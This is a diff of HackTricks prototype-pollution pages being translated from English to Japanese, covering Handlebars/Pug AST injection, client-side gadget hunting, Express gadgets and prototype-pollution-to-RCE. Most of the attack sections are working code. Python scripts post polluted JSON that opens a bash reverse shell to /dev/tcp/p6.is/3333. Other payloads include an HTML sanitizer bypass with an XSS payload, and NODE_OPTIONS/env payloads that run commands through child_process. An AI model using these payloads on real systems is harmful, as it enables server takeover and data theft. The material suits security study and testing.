- [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): この拡張機能は、サーバーサイドのプロトタイプ汚染脆弱性を特定します。[サーバーサイドプロトタイプ汚染](https://portswigger.net/research/server-side-prototype-pollution)で説明されている技術を使用しています。
### AST Prototype Pollution in NodeJS
### NodeJSにおけるASTプロトタイプ汚染
NodeJS extensively utilizes Abstract Syntax Trees (AST) in JavaScript for functionalities like template engines and TypeScript. This section explores the vulnerabilities related to prototype pollution in template engines, specifically Handlebars and Pug.
NodeJSは、テンプレートエンジンやTypeScriptなどの機能のためにJavaScriptで抽象構文木ASTを広範に利用しています。このセクションでは、テンプレートエンジン、特にHandlebarsとPugにおけるプロトタイプ汚染に関連する脆弱性を探ります。
#### Handlebars Vulnerability Analysis
#### Handlebars脆弱性分析
The Handlebars template engine is susceptible to a prototype pollution attack. This vulnerability arises from specific functions within the `javascript-compiler.js` file. The `appendContent` function, for instance, concatenates `pendingContent` if it's present, while the `pushSource` function resets `pendingContent` to `undefined` after adding the source.
Handlebarsテンプレートエンジンは、プロトタイプ汚染攻撃に対して脆弱です。この脆弱性は、`javascript-compiler.js`ファイル内の特定の関数から生じます。例えば、`appendContent`関数は、`pendingContent`が存在する場合にそれを連結し、`pushSource`関数はソースを追加した後に`pendingContent``undefined`にリセットします。
**Exploitation Process**
**悪用プロセス**
The exploitation leverages the AST (Abstract Syntax Tree) produced by Handlebars, following these steps:
悪用は、Handlebarsによって生成されたAST抽象構文木を利用し、以下の手順に従います
1. **Manipulation of the Parser**: Initially, the parser, via the `NumberLiteral` node, enforces that values are numeric. Prototype pollution can circumvent this, enabling the insertion of non-numeric strings.
2. **Handling by the Compiler**: The compiler can process an AST Object or a string template. If `input.type` equals `Program`, the input is treated as pre-parsed, which can be exploited.
3. **Injection of Code**: Through manipulation of `Object.prototype`, one can inject arbitrary code into the template function, which may lead to remote code execution.
An example demonstrating the exploitation of the Handlebars vulnerability:
1. **パーサーの操作**: 最初に、`NumberLiteral`ノードを介してパーサーは値が数値であることを強制します。プロトタイプ汚染はこれを回避でき、非数値の文字列を挿入することが可能になります。
2. **コンパイラによる処理**: コンパイラはASTオブジェクトまたは文字列テンプレートを処理できます。`input.type``Program`に等しい場合、入力は事前に解析されたものとして扱われ、これを悪用できます。
3. **コードの注入**: `Object.prototype`を操作することで、テンプレート関数に任意のコードを注入でき、リモートコード実行につながる可能性があります。
Handlebarsの脆弱性を悪用する例を示します
```javascript
const Handlebars = require("handlebars")
Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]
const source = `Hello {{ msg }}`
@ -310,15 +279,13 @@ const template = Handlebars.precompile(source)
console.log(eval("(" + template + ")")["main"].toString())
```
このコードは、攻撃者がHandlebarsテンプレートに任意のコードを注入する方法を示しています。
This code showcases how an attacker could inject arbitrary code into a Handlebars template.
**外部参照**: プロトタイプ汚染に関連する問題が「flat」ライブラリで見つかりました。詳細はこちら: [Issue on GitHub](https://github.com/hughsk/flat/issues/105)。
**External Reference**: An issue related to prototype pollution was found in the 'flat' library, as detailed here: [Issue on GitHub](https://github.com/hughsk/flat/issues/105).
**External Reference**: [Issue related to prototype pollution in the 'flat' library](https://github.com/hughsk/flat/issues/105)
Example of prototype pollution exploit in Python:
**外部参照**: [「flat」ライブラリにおけるプロトタイプ汚染に関連する問題](https://github.com/hughsk/flat/issues/105)
Pythonにおけるプロトタイプ汚染の悪用の例:
```python
import requests
@ -326,31 +293,29 @@ TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})
# execute
requests.get(TARGET_URL)
```
#### Pugの脆弱性
#### Pug Vulnerability
Pug, another template engine, faces a similar risk of prototype pollution. Detailed information is available in the discussion on [AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug).
Example of prototype pollution in Pug:
Pug、別のテンプレートエンジンも、プロトタイプ汚染の同様のリスクに直面しています。詳細情報は、[PugにおけるASTインジェクション](https://blog.p6.is/AST-Injection/#Pug)の議論で入手できます。
Pugにおけるプロトタイプ汚染の例:
```python
import requests
@ -358,33 +323,32 @@ TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})
# execute
requests.get(TARGET_URL)
```
### 予防策
### Preventive Measures
プロトタイプ汚染のリスクを減らすために、以下の戦略を採用できます:
To reduce the risk of prototype pollution, the strategies listed below can be employed:
1. **オブジェクトの不変性**: `Object.prototype``Object.freeze`を適用することで不変にできます。
2. **入力検証**: JSON入力はアプリケーションのスキーマに対して厳密に検証する必要があります。
3. **安全なマージ関数**: 再帰的なマージ関数の安全でない使用は避けるべきです。
4. **プロトタイプのないオブジェクト**: プロトタイププロパティのないオブジェクトは`Object.create(null)`を使用して作成できます。
5. **Mapの使用**: キーと値のペアを保存するために`Object`の代わりに`Map`を使用すべきです。
6. **ライブラリの更新**: 定期的にライブラリを更新することでセキュリティパッチを組み込むことができます。
7. **リンターと静的解析ツール**: プロトタイプ汚染の脆弱性を検出し防止するために、適切なプラグインを持つESLintのようなツールを使用します。
8. **コードレビュー**: プロトタイプ汚染に関連する潜在的なリスクを特定し修正するために徹底的なコードレビューを実施します。
9. **セキュリティトレーニング**: 開発者にプロトタイプ汚染のリスクと安全なコードを書くためのベストプラクティスについて教育します。
10. **ライブラリの使用に注意**: サードパーティのライブラリを使用する際は注意が必要です。特にオブジェクトを操作するものについては、そのセキュリティ姿勢を評価し、コードをレビューします。
11. **ランタイム保護**: プロトタイプ汚染攻撃を検出し防止できるセキュリティ重視のnpmパッケージを使用するなど、ランタイム保護メカニズムを採用します。
1. **Object Immutability**: The `Object.prototype` can be made immutable by applying `Object.freeze`.
2. **Input Validation**: JSON inputs should be rigorously validated against the application's schema.
3. **Safe Merge Functions**: The unsafe use of recursive merge functions should be avoided.
4. **Prototype-less Objects**: Objects without prototype properties can be created using `Object.create(null)`.
5. **Use of Map**: Instead of `Object`, `Map` should be used for storing key-value pairs.
6. **Library Updates**: Security patches can be incorporated by regularly updating libraries.
7. **Linter and Static Analysis Tools**: Use tools like ESLint with appropriate plugins to detect and prevent prototype pollution vulnerabilities.
8. **Code Reviews**: Implement thorough code reviews to identify and remediate potential risks related to prototype pollution.
9. **Security Training**: Educate developers about the risks of prototype pollution and best practices for writing secure code.
10. **Using Libraries with Caution**: Be cautious while using third-party libraries. Assess their security posture and review their code, especially those manipulating objects.
11. **Runtime Protection**: Employ runtime protection mechanisms such as using security-focused npm packages which can detect and prevent prototype pollution attacks.
## References
## 参考文献
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
- [https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l](https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l)
@ -392,4 +356,3 @@ To reduce the risk of prototype pollution, the strategies listed below can be em
- [https://blog.p6.is/AST-Injection/](https://blog.p6.is/AST-Injection/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,79 +1,75 @@
# Client Side Prototype Pollution
# クライアントサイドプロトタイプ汚染
{{#include ../../../banners/hacktricks-training.md}}
## Discovering using Automatic tools
## 自動ツールを使用した発見
The tools [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **and** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) can be used to **find prototype pollution vulnerabilities**.
ツール [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **および** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) は **プロトタイプ汚染の脆弱性を見つける**ために使用できます。
Moreover, you could also use the **browser extension** [**PPScan**](https://github.com/msrkp/PPScan) to **automatically** **scan** the **pages** you **access** for prototype pollution vulnerabilities.
### Debugging where a property is used <a href="#id-5530" id="id-5530"></a>
さらに、**ブラウザ拡張機能** [**PPScan**](https://github.com/msrkp/PPScan) を使用して、**自動的に** **アクセスする** **ページ**のプロトタイプ汚染の脆弱性を**スキャン**することもできます。
### プロパティが使用されている場所のデバッグ <a href="#id-5530" id="id-5530"></a>
```javascript
// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype, "potentialGadget", {
__proto__: null,
get() {
console.trace()
return "test"
},
__proto__: null,
get() {
console.trace()
return "test"
},
})
```
### Prototype Pollutionの根本原因を特定する <a href="#id-5530" id="id-5530"></a>
### Finding the root cause of Prototype Pollution <a href="#id-5530" id="id-5530"></a>
プロトタイプ汚染の脆弱性がツールによって特定され、コードがそれほど複雑でない場合、Chrome Developer Toolsで`location.hash``decodeURIComponent`、または`location.search`などのキーワードを検索することで脆弱性を見つけることができます。このアプローチにより、JavaScriptコードの脆弱なセクションを特定できます。
Once a prototype pollution vulnerability has been identified by any of the tools, and if the code is not overly complex, you might find the vulnerability by searching for keywords such as `location.hash`, `decodeURIComponent`, or `location.search` in the Chrome Developer Tools. This approach allows you to pinpoint the vulnerable section of the JavaScript code.
For larger and more complex codebases, a straightforward method to discover the vulnerable code involves the following steps:
1. Use a tool to identify a vulnerability and obtain a payload designed to set a property in the constructor. An example provided by ppmap might look like: `constructor[prototype][ppmap]=reserved`.
2. Set a breakpoint at the first line of JavaScript code that will execute on the page. Refresh the page with the payload, pausing the execution at this breakpoint.
3. While the JavaScript execution is paused, execute the following script in the JS console. This script will signal when the 'ppmap' property is created, aiding in locating its origin:
より大きく、より複雑なコードベースの場合、脆弱なコードを発見するための簡単な方法は、以下の手順を含みます:
1. ツールを使用して脆弱性を特定し、コンストラクタ内のプロパティを設定するために設計されたペイロードを取得します。ppmapによって提供される例は次のようになります`constructor[prototype][ppmap]=reserved`
2. ページで実行される最初のJavaScriptコードの行にブレークポイントを設定します。ペイロードでページをリフレッシュし、このブレークポイントで実行を一時停止します。
3. JavaScriptの実行が一時停止している間、JSコンソールで次のスクリプトを実行します。このスクリプトは、'ppmap'プロパティが作成されたときに信号を送信し、その起源を特定するのに役立ちます:
```javascript
function debugAccess(obj, prop, debugGet = true) {
var origValue = obj[prop]
var origValue = obj[prop]
Object.defineProperty(obj, prop, {
get: function () {
if (debugGet) debugger
return origValue
},
set: function (val) {
debugger
origValue = val
},
})
Object.defineProperty(obj, prop, {
get: function () {
if (debugGet) debugger
return origValue
},
set: function (val) {
debugger
origValue = val
},
})
}
debugAccess(Object.prototype, "ppmap")
```
4. **Sources** タブに戻り、「スクリプトの実行を再開」を選択します。JavaScript は引き続き実行され、'ppmap' プロパティは予想通りに汚染されます。提供されたスニペットを利用することで、'ppmap' プロパティが汚染される正確な場所を特定できます。**Call Stack** を調べることで、汚染が発生した異なるスタックを観察できます。
4. Navigate back to the **Sources** tab and select “Resume script execution”. The JavaScript will continue executing, and the 'ppmap' property will be polluted as expected. Utilizing the provided snippet facilitates the identification of the exact location where the 'ppmap' property is polluted. By examining the **Call Stack**, different stacks where the pollution occurred can be observed.
When deciding which stack to investigate, it is often useful to target stacks associated with JavaScript library files, as prototype pollution frequently occurs within these libraries. Identify the relevant stack by examining its attachment to library files (visible on the right side, similar to an image provided for guidance). In scenarios with multiple stacks, such as those on lines 4 and 6, the logical choice is the stack on line 4, as it represents the initial occurrence of pollution and thereby the root cause of the vulnerability. Clicking on the stack will direct you to the vulnerable code.
どのスタックを調査するかを決定する際には、JavaScript ライブラリファイルに関連するスタックをターゲットにすることがしばしば有用です。プロトタイプ汚染はこれらのライブラリ内で頻繁に発生します。ライブラリファイルへの関連付けを調べることで、関連するスタックを特定します(右側に表示され、ガイダンス用の画像に似ています)。行 4 と 6 のように複数のスタックがある場合、論理的な選択は行 4 のスタックです。これは汚染の最初の発生を示し、脆弱性の根本原因を表します。スタックをクリックすると、脆弱なコードに移動します。
![https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg](https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg)
## Finding Script Gadgets
## スクリプトガジェットの発見
The gadget is the **code that will be abused once a PP vulnerability is discovered**.
ガジェットは、**PP 脆弱性が発見されたときに悪用されるコード**です。
If the application is simple, we can **search** for **keywords** like **`srcdoc/innerHTML/iframe/createElement`** and review the source code and check if it l**eads to javascript execution**. Sometimes, mentioned techniques might not find gadgets at all. In that case, pure source code review reveals some nice gadgets like the below example.
アプリケーションがシンプルな場合、**`srcdoc/innerHTML/iframe/createElement`** のような **キーワード****検索** し、ソースコードをレビューして **JavaScript 実行につながるか** を確認できます。時には、言及された技術がガジェットを全く見つけられないこともあります。その場合、純粋なソースコードレビューが、以下の例のような素晴らしいガジェットを明らかにします。
### Example Finding PP gadget in Mithil library code
### Mithil ライブラリコードでの PP ガジェットの発見例
Check this writeup: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
この書き込みを確認してください: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
## Recompilation of payloads for vulnerable libraries
## 脆弱なライブラリ用のペイロードの再コンパイル
- [https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution)
- [https://github.com/BlackFan/client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution)
## HTML Sanitizers bypass via PP
## PP を介した HTML サニタイザーのバイパス
[**This research**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) shows PP gadgets to use to **bypass the sanizations** provided by some HTML sanitizers libraries:
[**この研究**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) は、いくつかの HTML サニタイザーライブラリによって提供される **サニタイズをバイパスするために使用する PP ガジェット** を示しています:
- **sanitize-html**
@ -84,34 +80,31 @@ Check this writeup: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challe
<figure><img src="../../../images/image (1141).png" alt="https://research.securitum.com/wp-content/uploads/sites/2/2020/08/image-9.png"><figcaption></figcaption></figure>
- **Closure**
```html
<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);
document.body.append(node);
document.body.append(node);
</script>
```
## References
## 参考文献
- [https://infosecwriteups.com/hunting-for-prototype-pollution-and-its-vulnerable-code-on-js-libraries-5bab2d6dc746](https://infosecwriteups.com/hunting-for-prototype-pollution-and-its-vulnerable-code-on-js-libraries-5bab2d6dc746)
- [https://blog.s1r1us.ninja/research/PP](https://blog.s1r1us.ninja/research/PP)
- [https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/#:\~:text=my%20challenge.-,Closure,-Closure%20Sanitizer%20has](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,69 +1,56 @@
# Express Prototype Pollution Gadgets
# Express プロトタイプ汚染ガジェット
{{#include ../../../banners/hacktricks-training.md}}
## Serve XSS responses
## XSS レスポンスを提供する
**For further details** [**take a look to the original reserach**](https://portswigger.net/research/server-side-prototype-pollution)
**詳細については** [**元の研究を参照してください**](https://portswigger.net/research/server-side-prototype-pollution)
### Change JSON content-type to HTML
In an Express app using a **JSON content type response** and reflecting a JSON:
### JSON コンテンツタイプを HTML に変更する
Express アプリで **JSON コンテンツタイプレスポンス** を使用し、JSON を反映させる:
```javascript
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
_.merge({}, req.body)
res.send(req.body)
})
```
In these cases XSS isn't normally possible with a JSON content type. However, with prototype pollution we can **confuse Express to serve up an HTML response.** This vulnerability relies on the application using **`res.send(obj)`** and using the body parser with the application/json content type.
これらのケースでは、JSONコンテンツタイプでは通常XSSは不可能です。しかし、プロトタイプ汚染を利用することで、**Expressを混乱させてHTMLレスポンスを提供させることができます。** この脆弱性は、アプリケーションが**`res.send(obj)`**を使用し、application/jsonコンテンツタイプでボディパーサーを使用することに依存しています。
```json
{ "__proto__": { "_body": true, "body": "<script>evil()" } }
```
**`body`** と **`_body`** プロパティを **汚染する** ことによって、**ExpressがHTMLコンテンツタイプを提供し、** `_body` プロパティを反映させることが可能になり、結果として保存されたXSSが発生します。
By **polluting** **`body`** and **`_body`** properties, it's possible to cause **Express to serve up the HTML content type** and reflect the `_body` property, resulting in stored XSS.
### Render UTF7
It's possible to make express **render UTF-7 content with**:
### UTF7をレンダリングする
Expressが **UTF-7コンテンツをレンダリングする** ことを可能にする方法があります:
```json
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }
```
## 安全なスキャン技術
## Safe Scanning Techinques
### JSON spaces
The following PP will make attributes inside a JSON to have an extra space which won't break the functionality:
### JSONスペース
次のPPは、JSON内の属性に追加のスペースを持たせ、機能を壊さないようにします
```json
{ "__proto__": { "json spaces": " " } }
```
Then a reflected JSON will looks like:
その後、反射されたJSONは次のようになります:
```json
{"foo": "bar"} -- Note the extra space
```
### Exposed Headers
The following PP gadget will make the server send back the HTTP header: **`Access-Control-Expose_headers: foo`**
次のPPガジェットは、サーバーがHTTPヘッダーを返すようにします: **`Access-Control-Expose_headers: foo`**
```json
{ "__proto__": { "exposedHeaders": ["foo"] } }
```
**CORSモジュールをインストールする必要があります**
It requires the **CORS module to be installed**
### **OPTIONS Method**
With the following payload, it's possible to **hide a method from an OPTIONS response**:
### **OPTIONSメソッド**
次のペイロードを使用すると、**OPTIONSレスポンスからメソッドを隠す**ことが可能です:
```javascript
// Original reponse: POST,GET,HEAD
@ -72,57 +59,45 @@ With the following payload, it's possible to **hide a method from an OPTIONS res
//New response: POST;GET
```
### **ステータス**
### **Status**
It's possible to change the **returned status code** using the following PP payload:
次のPPペイロードを使用して**返されるステータスコード**を変更することが可能です:
```json
{ "__proto__": { "status": 510 } }
```
### エラー
### Error
When you assign to a prototype with a primitive such as a string, it produces a **no-op operation since the prototype has to be an object**. If you attempt to assign a prototype object to the `Object.prototype` itself, this will **throw an exception**. We can use these two behaviours to **detect if prototype pollution was successful**:
プリミティブ(文字列など)をプロトタイプに割り当てると、**プロトタイプはオブジェクトでなければならないため、何も行わない操作が生成されます**。`Object.prototype`自体にプロトタイプオブジェクトを割り当てようとすると、**例外がスローされます**。これらの2つの動作を使用して、**プロトタイプ汚染が成功したかどうかを検出できます**
```javascript
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception
```
### 反射された値
### Reflected Value
When an application includes an object in its response, creating an attribute with an **unusual name alongside `__proto__`** can be insightful. Specifically, if **only the unusual attribute is returned** in the response, this could indicate the application's vulnerability:
アプリケーションが応答にオブジェクトを含めるとき、`__proto__` と一緒に **異常な名前の属性を作成すること** は洞察を与える可能性があります。特に、**応答に異常な属性のみが返される場合**、これはアプリケーションの脆弱性を示している可能性があります:
```json
{ "unusualName": "value", "__proto__": "test" }
```
Moreover, in scenarios where a library like Lodash is employed, setting a property both via prototype pollution (PP) and directly inside the object offers another diagnostic approach. If such a property is omitted from the response, it suggests that Lodash is verifying the existence of the property in the target object before merging:
さらに、Lodashのようなライブラリが使用されるシナリオでは、プロトタイプ汚染PPを介しておよびオブジェクト内で直接プロパティを設定することが、別の診断アプローチを提供します。そのようなプロパティがレスポンスから省略されている場合、それはLodashがマージする前にターゲットオブジェクト内のプロパティの存在を確認していることを示唆しています。
```javascript
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
```
## 雑多
## Misc
### Allow Dots
There is an option in Express that allows you to **create objects from query string parameters**.\
You could definitely use it in a bug **chain** to exploit a **prototype pollution vulnerability**.
### ドットを許可する
Expressには、**クエリ文字列パラメータからオブジェクトを作成する**オプションがあります。\
これは、**プロトタイプ汚染の脆弱性**を悪用するバグ**チェーン**で確実に使用できます。
```json
{ "__proto__": { "allowDots": true } }
```
**`?foo.bar=baz` はNodeでオブジェクトを作成します。**
**`?foo.bar=baz` create an object in Node.**
## References
## 参考文献
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,33 +1,32 @@
# Prototype Pollution to RCE
# プロトタイプ汚染からRCEへ
{{#include ../../../banners/hacktricks-training.md}}
## Vulnerable Code
Imagine a real JS using some code like the following one:
## 脆弱なコード
実際のJSが以下のようなコードを使用していると想像してみてください:
```javascript
const { execSync, fork } = require("child_process")
function isObject(obj) {
console.log(typeof obj)
return typeof obj === "function" || typeof obj === "object"
console.log(typeof obj)
return typeof obj === "function" || typeof obj === "object"
}
// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}
function clone(target) {
return merge({}, target)
return merge({}, target)
}
// Run prototype pollution with user input
@ -38,13 +37,11 @@ clone(USERINPUT)
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork("a_file.js")
```
## PP2RCE via env vars
**PP2RCE** means **Prototype Pollution to RCE** (Remote Code Execution).
According to this [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) when a **process is spawned** with some method from **`child_process`** (like `fork` or `spawn` or others) it calls the method `normalizeSpawnArguments` which a **prototype pollution gadget to create new env vars**:
**PP2RCE**は**Prototype Pollution to RCE**(リモートコード実行)を意味します。
この[**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)によると、**`child_process`**のいくつかのメソッド(`fork``spawn`など)を使用して**プロセスが生成される**と、`normalizeSpawnArguments`メソッドが呼び出され、これは**新しいenv varsを作成するためのプロトタイプ汚染ガジェット**です:
```javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
@ -54,36 +51,34 @@ var envPairs = [];
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
```
コードを確認してください。**`envPairs`**を**汚染**することが可能であることがわかります。**属性`.env`**によってです。
Check that code you can see it's possible en **poison `envPairs`** just by **polluting** the **attribute `.env`.**
### **Poisoning `__proto__`**
### **`__proto__`の汚染**
> [!WARNING]
> Note that due to how the **`normalizeSpawnArguments`** function from the **`child_process`** library of node works, when something is called in order to **set a new env variable** for the process you just need to **pollute anything**.\
> For example, if you do `__proto__.avar="valuevar"` the process will be spawned with a var called `avar` with value `valuevar`.
> **`child_process`**ライブラリの**`normalizeSpawnArguments`**関数の動作により、プロセスのために**新しいenv変数を設定する**ために何かを呼び出すとき、**何かを汚染する**だけで済みます。\
> 例えば、`__proto__.avar="valuevar"`を実行すると、プロセスは`avar`という名前の変数を`valuevar`という値で生成します。
>
> However, in order for the **env variable to be the first one** you need to **pollute** the **`.env` attribute** and (only in some methods) that var will be the **first one** (allowing the attack).
> しかし、**env変数が最初のものであるためには**、**`.env`属性を汚染する**必要があり、(一部のメソッドのみで)その変数が**最初のもの**になります(攻撃を可能にします)。
>
> That's why **`NODE_OPTIONS`** is **not inside `.env`** in the following attack.
> だからこそ、次の攻撃では**`NODE_OPTIONS`**が**`.env`の中にない**のです。
```javascript
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
@ -93,7 +88,7 @@ var proc = fork("./a_file.js")
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce\\").toString())//"}}}'
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce\\").toString())//"}}}'
)
clone(USERINPUT)
@ -101,16 +96,14 @@ clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
```
### Poisoning `constructor.prototype`
### `constructor.prototype`の汚染
```javascript
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.constructor.prototype.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//",
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//",
}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"
@ -119,7 +112,7 @@ proc = fork("a_file.js")
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}}}'
'{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}}}'
)
clone(USERINPUT)
@ -127,21 +120,19 @@ clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2
```
## PP2RCE via env vars + cmdline
A similar payload to the previous one with some changes was proposed in [**this writeup**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** The main differences are:
- Instead of storing the nodejs **payload** inside the file `/proc/self/environ`, it stores it i**nside argv0** of **`/proc/self/cmdline`**.
- Then, instead of requiring via **`NODE_OPTIONS`** the file `/proc/self/environ`, it **requires `/proc/self/cmdline`**.
前のものと似たペイロードが[**この解説**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)で提案されました。主な違いは次のとおりです:
- nodejs **ペイロード**をファイル`/proc/self/environ`に保存する代わりに、**`/proc/self/cmdline`**のargv0に保存します。
- その後、**`NODE_OPTIONS`**を介してファイル`/proc/self/environ`を要求する代わりに、**`/proc/self/cmdline`**を要求します。
```javascript
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
// Trigger gadget
@ -150,7 +141,7 @@ var proc = fork("./a_file.js")
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}'
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}'
)
clone(USERINPUT)
@ -158,41 +149,35 @@ clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
```
## DNSインタラクション
## DNS Interaction
